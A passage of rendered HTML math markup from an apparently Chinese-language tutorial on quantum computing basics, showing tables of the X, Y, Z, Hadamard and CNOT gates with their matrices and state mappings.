style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.2222em;">V</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span></span></p><p>這是一維的，稍加推廣就可以得到上面那個。</p><h1 id="%E9%87%8F%E5%AD%90%E8%A8%88%E7%AE%97%E5%9F%BA%E7%A4%8E" tabindex="-1">量子計算基礎</h1><h2 id="%E9%87%8F%E5%AD%90%E9%82%8F%E8%BC%AF%E9%96%98" tabindex="-1" id="量子邏輯閘">量子邏輯閘</h2><p>首先，量子邏輯閘一定是 Unitary 的，常見的量子邏輯閘整理如下：</p><blockquote><p>註：為了銜接，以下用 IBM Quantum Platform 的約定，最右邊為第一個 q bit。</p></blockquote><p>單閘：</p><table><thead><tr><th style="text-align:center">Gate</th><th style="text-align:center">Matrix</th><th>Vector</th><th style="text-align:center">Maze</th></tr></thead><tbody><tr><td style="text-align:center">X</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 0 &amp; 1 \\ 1 &amp; 0 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow \vert{}1\rangle \\ \vert{}1\rangle \rightarrow \vert{}0\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="x_maze.png" width="300"></td></tr><tr><td style="text-align:center">Y</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mi>i</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>i</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 0 &amp; -i \\ i &amp; 0 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord mathnormal">i</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi>i</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mo>−</mo><mi>i</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow i\vert{}1\rangle \\ \vert{}1\rangle \rightarrow -i\vert{}0\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord mathnormal">i</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="y_maze.png" width="300"></td></tr><tr><td style="text-align:center">Z</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 1 &amp; 0 \\ 0 &amp; -1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow \vert{}0\rangle \\ \vert{}1\rangle \rightarrow -\vert{}1\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="z_maze.png" width="300"></td></tr><tr><td style="text-align:center">H</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt{2}}\begin{pmatrix} 1 &amp; 1 \\ 1 &amp; -1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>→</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo stretchy="false">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo stretchy="false">)</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>→</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo stretchy="false">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\vert{}0\rangle \rightarrow \frac{1}{\sqrt{2}}(\vert{}0\rangle + \vert{}1\rangle) \\ \vert{}1\rangle \rightarrow \frac{1}{\sqrt{2}}(\vert{}0\rangle - \vert{}1\rangle)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩)</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩)</span></span></span></span></td><td style="text-align:center"><img src="h_maze.png" width="300"></td></tr></tbody></table><p>雙閘：</p><table><thead><tr><th style="text-align:center">Gate</th><th style="text-align:center">Matrix</th><th>Vector</th><th style="text-align:center">Maze</th></tr></thead><tbody><tr><td style="text-align:center">CNOT</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\ 0 &amp; 0 &amp; 0 &amp; 1 \\ 0 &amp; 0 &amp; 1 &amp; 0 \\ 0 &amp; 1 &amp; 0 &amp; 0 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span 